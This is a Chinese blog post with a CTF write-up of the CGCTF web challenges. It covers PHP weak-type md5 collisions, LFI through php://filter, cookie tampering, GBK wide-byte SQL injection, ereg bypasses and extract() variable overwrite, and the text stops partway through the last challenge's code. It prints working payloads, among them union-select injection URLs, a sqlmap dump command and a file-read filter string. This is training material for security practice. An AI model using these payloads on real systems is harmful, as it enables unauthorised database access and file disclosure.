当前位置 博文首页 > 韦全敏的博客:CGCTF平台web题writeup

    韦全敏的博客:CGCTF平台web题writeup

    作者:[db:作者] 时间:2021-07-08 18:44

    前言

    大概的做了做CGCTF的web题,基本都做出来了,在这整理了一下writeup,其中一些十分简单的题,就大概的写了些,后面一些难题会更详细,需要的可以直接拉倒最后面。共勉。

    正文

    签到题

    10pt
    tips : 这一定是最简单的
    连接

    在这里插入图片描述
    恩,key在源代码中
    在这里插入图片描述

    md5 collision

    20pt
    连接

    直接贴出了代码

    $md51 = md5('QNKCDZO');
    $a = @$_GET['a'];
    $md52 = @md5($a);
    if(isset($a)){
    if ($a != 'QNKCDZO' && $md51 == $md52) {
        echo "nctf{*****************}";
    } else {
        echo "false!!!";
    }}
    else{echo "please input a";}
    

    在这里插入图片描述
    这个题目利用了php弱类型。比如在==判等时,0exxxxx=0xsfdsf=0.而在源代码中直接给出了QNKCDZO的md5就是0e开头,使用a传输一个md5也是0e开头的即可。

    s878926199a
    0e545993274517709034328855841020
      
    s155964671a
    0e342768416822451524974117254469
      
    s214587387a
    0e848240448830537924465865611904
      
    s214587387a
    0e848240448830537924465865611904
      
    s878926199a
    0e545993274517709034328855841020
      
    s1091221200a
    0e940624217856561557816327384675
    

    签到2

    15pt
    连接

    在这里插入图片描述
    需要输入zhimakaimen才能打印flag。但是输入框只允许输入长度比zhimakaimen少一位。所以f12修改前段代码或者抓包传入正确的值即可。
    在这里插入图片描述

    这题不是WEB

    25pt
    链接
    tips : 真的,你要相信我!这题不是WEB

    在这里插入图片描述
    这题真的不是web,而是隐写。使用神器Stegsolve.jar打开,点击Analyse->file format, 在最后面就有flag。
    在这里插入图片描述

    层层递进

    25pt
    链接

    忘记了是哪个比赛的原题来的。

    在这里插入图片描述
    重复的查看源代码好几次,一直点击SO.html,大概四五次之后源代码中会出现一个404.html,flag就在源代码中的注释中。
    在这里插入图片描述
    在这里插入图片描述

    出现这个在这里插入图片描述

    在这里插入图片描述

    AAencode

    25pt
    tips : javascript aaencode
    链接

    题目现在好像挂了,以前做的时候也没有截图,既然提示javascript aaencode,那就解码呗。

    在这里插入图片描述

    单身二十年

    20pt
    tips : 这题可以靠技术也可以靠手速! 老夫单身二十年,自然靠的是手速!
    链接

    在这里插入图片描述

    直接使用burp site 抓返回来的包即可。太基础就不写了。

    文件包含

    25pt
    tips: 没错 这就是传说中的LFI
    链接

    在这里插入图片描述

    payload : ?file=php://filter/convert.base64-encode/resource=index.php

    需要学习到的知识就是php伪协议,使用php://filter可以任意读取文件。下面就是读取下来的经过base64编码过后的index的源代码,base64解码之后在源代码中就有flag。

    PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=
    

    单身一百年也没用

    30pt
    tips: 是的。。这一题你单身一百年也没用
    链接

    使用surp site抓包,发现flag,应该是这样的。

    在这里插入图片描述

    Download~!

    题目已经死掉了

    COOKIE

    25pt
    tips : COOKIE就是甜饼的意思~
    TIP: 0==not
    链接

    在这里插入图片描述
    发现cookie中有一个Login的cookie值为0
    在这里插入图片描述
    尝试修改他的值为1,然后返回的界面中就有flag。
    在这里插入图片描述

    MYSQL

    30pt
    tips : 不能每一题都这么简单嘛 你说是不是?
    链接

    在这里插入图片描述
    访问robots.txt文件,这个界面中存在提示和一段代码

    别太开心,flag不在这,这个文件的用途你看完了?
    在CTF比赛中,这个文件往往存放着提示信息
    
    TIP:sql.php
    
    <?php
    if($_GET[id]) {
       mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
      mysql_select_db(SAE_MYSQL_DB);
      $id = intval($_GET[id]);
      $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
      if ($_GET[id]==1024) {
          echo "<p>no! try again</p>";
      }
      else{
        echo($query[content]);
      }
    }
    ?>
    

    简单的分析一下代码发现,get传递参数id=1024,返回no! try again,否则返回查询的数据。但是经过实测除了id的值是1024有输出之外,其他的值均没有输出,所以应该是考察intval($_GET[id]);的作用获取变量的整数值,所以只要传递一个1024.xxx的小数即可。
    在这里插入图片描述

    GBK Injection

    50pt
    链接

    在这里插入图片描述
    我们先来了解一下GBK Injection也就是宽字节注入,原理:

    GBK 占两个字节
    ASCII占一个字节
    常见的宽字节有: GB2312、GBK、GB18030、BIG5、Shift_JIS等这些都是常说的宽字节,实际上只有两字节。宽字节带来的安全问题主要是吃ASCII字符(一字节)的现象。
    通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
    大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,即单引号逃逸,有了单引号就好注入了。
    %df吃掉 \ 具体的原因是urlencode(’) = %5c%27,我们在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK编码方式的时候会将两个字节当做一个汉字,此事%df%5c就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。

    可以直接使用sqlmap跑出flag

    sqlmap -u http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1�' -D sae-chinalover -T ctf4 -C flag --dump

    或者手工 注入

    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df%27+union+select+1,database()--+
    sae-chinalover
    
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+
    ctf,ctf2,ctf3,ctf4,news
    
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select group_concat(column_name) from information_schema.columns where table_name=0x63746634)--+
    id,flag
    
    http://chinalover.sinaapp.com/SQL-GBK/index.php?id=-1%df'+union+select+1,(select flag from ctf4)--+
    nctf{gbk_3sqli}
    
    

    /x00

    30pt
    tips : 题目有多种解法,你能想出来几种?
    链接

    view-source:
        if (isset ($_GET['nctf'])) {
            if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
                echo '必须输入数字才行';
            else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
                die('Flag: '.$flag);
            else
                echo '骚年,继续努力吧啊~';
        }
    

    需要绕过ereg()函数,有两种方法。

    payload1
    http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[]=#biubiubiu
    payload2 00截断
    http://teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%23biubiubiu

    bypass again

    30pt
    tips: 依旧是弱类型
    链接

    首先分析源代码

    if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
    if (md5($_GET['a']) == md5($_GET['b']))
    die('Flag: '.$flag);
    else
    print 'Wrong.';
    }
    

    和md5碰撞那道题一样的原理。

    payload 不唯一
    http://chinalover.sinaapp.com/web17/index.php?a=s878926199a&b=s155964671a

    变量覆盖

    40pt
    tips : 听说过变量覆盖么?
    链接

    这道题也直接给出了源代码,首先第一步要分析代码

    <?php
    include("secret.php");
    ?>
    <html>
        <head>
            <title>The Ducks</title>
            <link href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
            <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
        </head>
        <body>
            <div class="container">
                <div class="jumbotron">
                    <center>
                        <h1>The Ducks</h1>
                        <?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                            <?php
                            extract($_POST);
                            if ($pass == $thepassword_123) { ?>
                                <div class="alert alert-success">
                                    <code><?php echo $theflag; ?></code>
                                </div>
                            <?php } ?>
                        <?php } ?>
                        <form action="." method="POST">
                            <div class="row">
                                <div class="col-md-6 col-md-offset-3">
                                    <div class="row">
                                        <div class="col-md-9">
                                            <input type="password" class="form-control" name="pass" placeholder="Password" />
                                        </div>
                                        <div class="col-md-3">
                                            <input type="submit" class="btn btn-primary" value="Submit" />
                                        </div>
                                    </div>
                                </div>
                            </div>
                        </